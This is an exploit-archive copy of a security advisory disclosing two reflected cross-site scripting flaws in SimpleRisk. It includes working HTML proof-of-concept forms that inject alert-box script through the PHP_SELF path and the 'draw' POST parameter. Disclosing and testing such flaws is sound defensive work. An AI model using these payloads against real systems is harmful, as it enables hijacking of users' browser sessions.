SimpleRisk 20170416-001 Cross Site Scripting

SimpleRisk 20170416-001 Cross Site Scripting: Posted Jun 22, 2017; Authored by LiquidWorm | Site zeroscience.mk; SimpleRisk version 20170416-001 suffers from multiple cross site scripting vulnerabilities.; tags | exploit, vulnerability, xss; SHA-256 | 185793b5e9bee825f996a6b8ad2ee15810c93daf522839010e61028a0b19ee14; Download | Favorite | View
SimpleRisk 20170416-001 Cross Site Scripting

<!--

SimpleRisk v20170416-001 Reflected XSS Vulnerabilities


Vendor: SimpleRisk, LLC
Product web page: https://www.simplerisk.com
Affected version: 20170416-001
                  20170108-001
                  20170102-001

Summary: SimpleRisk is an open-source risk management system released
under Mozilla Public License and used for risk management activities.
It enables risk managers to account for risks, plan mitigation measures,
facilitate management reviews, prioritize for project planning, and track
periodic reviews.

Desc: SimpleRisk suffers from two reflected cross-site scripting vulnerabilities
when input passed via 'draw' POST parameter and the 'PHP_SELF' variable is not
properly sanitized before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in context of
an affected site.

Tested on: PHP/5.5.9-1ubuntu4.20
           Apache/2.4.7 (Ubuntu)
           MySQL 14.14 (Distrib 5.5.53 for debian-linux-gnu)
           Ubuntu 14.04.5 LTS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5414
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5414.php


05.06.2017

-->


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://192.168.1.72/management/plan_mitigations.php/'><script>alert(1)</script>">
      <input type="hidden" name="currentpage" value="/ZSL" />
      <input type="submit" value="XSS #1" />
    </form>
  </body>
</html>

=====

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://192.168.1.72/api/reports/dynamic" method="POST">
      <input type="hidden" name="draw" value="<img src=a onerror=alert('XSS-251')>ZSL XSSed" />
      <input type="hidden" name="columns[0][data]" value="0" />
      <input type="hidden" name="columns[0][name]" value="id" />
      <input type="hidden" name="columns[0][searchable]" value="true" />
      <input type="hidden" name="columns[0][orderable]" value="false" />
      <input type="hidden" name="columns[0][search][value]" value="" />
      <input type="hidden" name="columns[0][search][regex]" value="false" />
      <input type="hidden" name="columns[1][data]" value="1" />
      <input type="hidden" name="columns[1][name]" value="risk_status" />
      <input type="hidden" name="columns[1][searchable]" value="true" />
      <input type="hidden" name="columns[1][orderable]" value="false" />
      <input type="hidden" name="columns[1][search][value]" value="" />
      <input type="hidden" name="columns[1][search][regex]" value="false" />
      <input type="hidden" name="columns[2][data]" value="2" />
      <input type="hidden" name="columns[2][name]" value="subject" />
      <input type="hidden" name="columns[2][searchable]" value="true" />
      <input type="hidden" name="columns[2][orderable]" value="false" />
      <input type="hidden" name="columns[2][search][value]" value="" />
      <input type="hidden" name="columns[2][search][regex]" value="false" />
      <input type="hidden" name="columns[3][data]" value="3" />
      <input type="hidden" name="columns[3][name]" value="reference_id" />
      <input type="hidden" name="columns[3][searchable]" value="true" />
      <input type="hidden" name="columns[3][orderable]" value="false" />
      <input type="hidden" name="columns[3][search][value]" value="" />
      <input type="hidden" name="columns[3][search][regex]" value="false" />
      <input type="hidden" name="columns[4][data]" value="4" />
      <input type="hidden" name="columns[4][name]" value="regulation" />
      <input type="hidden" name="columns[4][searchable]" value="true" />
      <input type="hidden" name="columns[4][orderable]" value="false" />
      <input type="hidden" name="columns[4][search][value]" value="" />
      <input type="hidden" name="columns[4][search][regex]" value="false" />
      <input type="hidden" name="columns[5][data]" value="5" />
      <input type="hidden" name="columns[5][name]" value="control_number" />
      <input type="hidden" name="columns[5][searchable]" value="true" />
      <input type="hidden" name="columns[5][orderable]" value="false" />
      <input type="hidden" name="columns[5][search][value]" value="" />
      <input type="hidden" name="columns[5][search][regex]" value="false" />
      <input type="hidden" name="columns[6][data]" value="6" />
      <input type="hidden" name="columns[6][name]" value="location" />
      <input type="hidden" name="columns[6][searchable]" value="true" />
      <input type="hidden" name="columns[6][orderable]" value="false" />
      <input type="hidden" name="columns[6][search][value]" value="" />
      <input type="hidden" name="columns[6][search][regex]" value="false" />
      <input type="hidden" name="columns[7][data]" value="7" />
      <input type="hidden" name="columns[7][name]" value="source" />
      <input type="hidden" name="columns[7][searchable]" value="true" />
      <input type="hidden" name="columns[7][orderable]" value="false" />
      <input type="hidden" name="columns[7][search][value]" value="" />
      <input type="hidden" name="columns[7][search][regex]" value="false" />
      <input type="hidden" name="columns[8][data]" value="8" />
      <input type="hidden" name="columns[8][name]" value="category" />
      <input type="hidden" name="columns[8][searchable]" value="true" />
      <input type="hidden" name="columns[8][orderable]" value="false" />
      <input type="hidden" name="columns[8][search][value]" value="" />
      <input type="hidden" name="columns[8][search][regex]" value="false" />
      <input type="hidden" name="columns[9][data]" value="9" />
      <input type="hidden" name="columns[9][name]" value="team" />
      <input type="hidden" name="columns[9][searchable]" value="true" />
      <input type="hidden" name="columns[9][orderable]" value="false" />
      <input type="hidden" name="columns[9][search][value]" value="" />
      <input type="hidden" name="columns[9][search][regex]" value="false" />
      <input type="hidden" name="columns[10][data]" value="10" />
      <input type="hidden" name="columns[10][name]" value="technology" />
      <input type="hidden" name="columns[10][searchable]" value="true" />
      <input type="hidden" name="columns[10][orderable]" value="false" />
      <input type="hidden" name="columns[10][search][value]" value="" />
      <input type="hidden" name="columns[10][search][regex]" value="false" />
      <input type="hidden" name="columns[11][data]" value="11" />
      <input type="hidden" name="columns[11][name]" value="owner" />
      <input type="hidden" name="columns[11][searchable]" value="true" />
      <input type="hidden" name="columns[11][orderable]" value="false" />
      <input type="hidden" name="columns[11][search][value]" value="" />
      <input type="hidden" name="columns[11][search][regex]" value="false" />
      <input type="hidden" name="columns[12][data]" value="12" />
      <input type="hidden" name="columns[12][name]" value="manager" />
      <input type="hidden" name="columns[12][searchable]" value="true" />
      <input type="hidden" name="columns[12][orderable]" value="false" />
      <input type="hidden" name="columns[12][search][value]" value="" />
      <input type="hidden" name="columns[12][search][regex]" value="false" />
      <input type="hidden" name="columns[13][data]" value="13" />
      <input type="hidden" name="columns[13][name]" value="submitted_by" />
      <input type="hidden" name="columns[13][searchable]" value="true" />
      <input type="hidden" name="columns[13][orderable]" value="false" />
      <input type="hidden" name="columns[13][search][value]" value="" />
      <input type="hidden" name="columns[13][search][regex]" value="false" />
      <input type="hidden" name="columns[14][data]" value="14" />
      <input type="hidden" name="columns[14][name]" value="scoring_method" />
      <input type="hidden" name="columns[14][searchable]" value="true" />
      <input type="hidden" name="columns[14][orderable]" value="false" />
      <input type="hidden" name="columns[14][search][value]" value="" />
      <input type="hidden" name="columns[14][search][regex]" value="false" />
      <input type="hidden" name="columns[15][data]" value="15" />
      <input type="hidden" name="columns[15][name]" value="calculated_risk" />
      <input type="hidden" name="columns[15][searchable]" value="true" />
      <input type="hidden" name="columns[15][orderable]" value="false" />
      <input type="hidden" name="columns[15][search][value]" value="" />
      <input type="hidden" name="columns[15][search][regex]" value="false" />
      <input type="hidden" name="columns[16][data]" value="16" />
      <input type="hidden" name="columns[16][name]" value="submission_date" />
      <input type="hidden" name="columns[16][searchable]" value="true" />
      <input type="hidden" name="columns[16][orderable]" value="false" />
      <input type="hidden" name="columns[16][search][value]" value="" />
      <input type="hidden" name="columns[16][search][regex]" value="false" />
      <input type="hidden" name="columns[17][data]" value="17" />
      <input type="hidden" name="columns[17][name]" value="review_date" />
      <input type="hidden" name="columns[17][searchable]" value="true" />
      <input type="hidden" name="columns[17][orderable]" value="false" />
      <input type="hidden" name="columns[17][search][value]" value="" />
      <input type="hidden" name="columns[17][search][regex]" value="false" />
      <input type="hidden" name="columns[18][data]" value="18" />
      <input type="hidden" name="columns[18][name]" value="project" />
      <input type="hidden" name="columns[18][searchable]" value="true" />
      <input type="hidden" name="columns[18][orderable]" value="false" />
      <input type="hidden" name="columns[18][search][value]" value="" />
      <input type="hidden" name="columns[18][search][regex]" value="false" />
      <input type="hidden" name="columns[19][data]" value="19" />
      <input type="hidden" name="columns[19][name]" value="mitigation_planned" />
      <input type="hidden" name="columns[19][searchable]" value="true" />
      <input type="hidden" name="columns[19][orderable]" value="false" />
      <input type="hidden" name="columns[19][search][value]" value="" />
      <input type="hidden" name="columns[19][search][regex]" value="false" />
      <input type="hidden" name="columns[20][data]" value="20" />
      <input type="hidden" name="columns[20][name]" value="management_review" />
      <input type="hidden" name="columns[20][searchable]" value="true" />
      <input type="hidden" name="columns[20][orderable]" value="false" />
      <input type="hidden" name="columns[20][search][value]" value="" />
      <input type="hidden" name="columns[20][search][regex]" value="false" />
      <input type="hidden" name="columns[21][data]" value="21" />
      <input type="hidden" name="columns[21][name]" value="days_open" />
      <input type="hidden" name="columns[21][searchable]" value="true" />
      <input type="hidden" name="columns[21][orderable]" value="false" />
      <input type="hidden" name="columns[21][search][value]" value="" />
      <input type="hidden" name="columns[21][search][regex]" value="false" />
      <input type="hidden" name="columns[22][data]" value="22" />
      <input type="hidden" name="columns[22][name]" value="next_review_date" />
      <input type="hidden" name="columns[22][searchable]" value="true" />
      <input type="hidden" name="columns[22][orderable]" value="false" />
      <input type="hidden" name="columns[22][search][value]" value="" />
      <input type="hidden" name="columns[22][search][regex]" value="false" />
      <input type="hidden" name="columns[23][data]" value="23" />
      <input type="hidden" name="columns[23][name]" value="next_step" />
      <input type="hidden" name="columns[23][searchable]" value="true" />
      <input type="hidden" name="columns[23][orderable]" value="false" />
      <input type="hidden" name="columns[23][search][value]" value="" />
      <input type="hidden" name="columns[23][search][regex]" value="false" />
      <input type="hidden" name="columns[24][data]" value="24" />
      <input type="hidden" name="columns[24][name]" value="affected_assets" />
      <input type="hidden" name="columns[24][searchable]" value="true" />
      <input type="hidden" name="columns[24][orderable]" value="false" />
      <input type="hidden" name="columns[24][search][value]" value="" />
      <input type="hidden" name="columns[24][search][regex]" value="false" />
      <input type="hidden" name="columns[25][data]" value="25" />
      <input type="hidden" name="columns[25][name]" value="risk_assessment" />
      <input type="hidden" name="columns[25][searchable]" value="true" />
      <input type="hidden" name="columns[25][orderable]" value="false" />
      <input type="hidden" name="columns[25][search][value]" value="" />
      <input type="hidden" name="columns[25][search][regex]" value="false" />
      <input type="hidden" name="columns[26][data]" value="26" />
      <input type="hidden" name="columns[26][name]" value="additional_notes" />
      <input type="hidden" name="columns[26][searchable]" value="true" />
      <input type="hidden" name="columns[26][orderable]" value="false" />
      <input type="hidden" name="columns[26][search][value]" value="" />
      <input type="hidden" name="columns[26][search][regex]" value="false" />
      <input type="hidden" name="columns[27][data]" value="27" />
      <input type="hidden" name="columns[27][name]" value="current_solution" />
      <input type="hidden" name="columns[27][searchable]" value="true" />
      <input type="hidden" name="columns[27][orderable]" value="false" />
      <input type="hidden" name="columns[27][search][value]" value="" />
      <input type="hidden" name="columns[27][search][regex]" value="false" />
      <input type="hidden" name="columns[28][data]" value="28" />
      <input type="hidden" name="columns[28][name]" value="security_recommendations" />
      <input type="hidden" name="columns[28][searchable]" value="true" />
      <input type="hidden" name="columns[28][orderable]" value="false" />
      <input type="hidden" name="columns[28][search][value]" value="" />
      <input type="hidden" name="columns[28][search][regex]" value="false" />
      <input type="hidden" name="columns[29][data]" value="29" />
      <input type="hidden" name="columns[29][name]" value="security_requirements" />
      <input type="hidden" name="columns[29][searchable]" value="true" />
      <input type="hidden" name="columns[29][orderable]" value="false" />
      <input type="hidden" name="columns[29][search][value]" value="" />
      <input type="hidden" name="columns[29][search][regex]" value="false" />
      <input type="hidden" name="columns[30][data]" value="30" />
      <input type="hidden" name="columns[30][name]" value="planning_strategy" />
      <input type="hidden" name="columns[30][searchable]" value="true" />
      <input type="hidden" name="columns[30][orderable]" value="false" />
      <input type="hidden" name="columns[30][search][value]" value="" />
      <input type="hidden" name="columns[30][search][regex]" value="false" />
      <input type="hidden" name="columns[31][data]" value="31" />
      <input type="hidden" name="columns[31][name]" value="mitigation_effort" />
      <input type="hidden" name="columns[31][searchable]" value="true" />
      <input type="hidden" name="columns[31][orderable]" value="false" />
      <input type="hidden" name="columns[31][search][value]" value="" />
      <input type="hidden" name="columns[31][search][regex]" value="false" />
      <input type="hidden" name="columns[32][data]" value="32" />
      <input type="hidden" name="columns[32][name]" value="mitigation_cost" />
      <input type="hidden" name="columns[32][searchable]" value="true" />
      <input type="hidden" name="columns[32][orderable]" value="false" />
      <input type="hidden" name="columns[32][search][value]" value="" />
      <input type="hidden" name="columns[32][search][regex]" value="false" />
      <input type="hidden" name="columns[33][data]" value="33" />
      <input type="hidden" name="columns[33][name]" value="mitigation_owner" />
      <input type="hidden" name="columns[33][searchable]" value="true" />
      <input type="hidden" name="columns[33][orderable]" value="false" />
      <input type="hidden" name="columns[33][search][value]" value="" />
      <input type="hidden" name="columns[33][search][regex]" value="false" />
      <input type="hidden" name="columns[34][data]" value="34" />
      <input type="hidden" name="columns[34][name]" value="mitigation_team" />
      <input type="hidden" name="columns[34][searchable]" value="true" />
      <input type="hidden" name="columns[34][orderable]" value="false" />
      <input type="hidden" name="columns[34][search][value]" value="" />
      <input type="hidden" name="columns[34][search][regex]" value="false" />
      <input type="hidden" name="start" value="0" />
      <input type="hidden" name="length" value="10" />
      <input type="hidden" name="search[value]" value="" />
      <input type="hidden" name="search[regex]" value="false" />
      <input type="hidden" name="status" value="0" />
      <input type="hidden" name="group" value="0" />
      <input type="hidden" name="sort" value="0" />
      <input type="hidden" name="group_value" value="" />
      <input type="submit" value="XSS #2" />
    </form>
  </body>
</html>
Top Authors In Last 30 Days

Red Hat 227 files
indoushka 136 files
Jay Turla 111 files
Ubuntu 63 files
Gentoo 33 files
Debian 27 files
sinn3r 23 files
h00die 23 files
Pedro Ribeiro 21 files
juan vazquez 18 files
File Archives

Systems

AIX (429)
Apple (2,104)
BSD (377)
CentOS (58)
Cisco (1,944)
Debian (7,112)
Fedora (1,693)
FreeBSD (1,247)
Gentoo (4,567)
HPUX (880)
iOS (386)
iPhone (108)
IRIX (220)
Juniper (70)
Linux (50,966)
Mac OS X (696)
Mandriva (3,105)
NetBSD (256)
OpenBSD (489)
RedHat (16,661)
Slackware (941)
Solaris (1,614)
SUSE (1,444)
Ubuntu (9,788)
UNIX (9,443)
UnixWare (187)
Windows (6,732)
Other
SimpleRisk 20170416-001 Cross Site Scripting

SimpleRisk 20170416-001 Cross Site Scripting

File Archive:

August 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems

SimpleRisk 20170416-001 Cross Site Scripting

Share This

SimpleRisk 20170416-001 Cross Site Scripting

File Archive:

August 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems
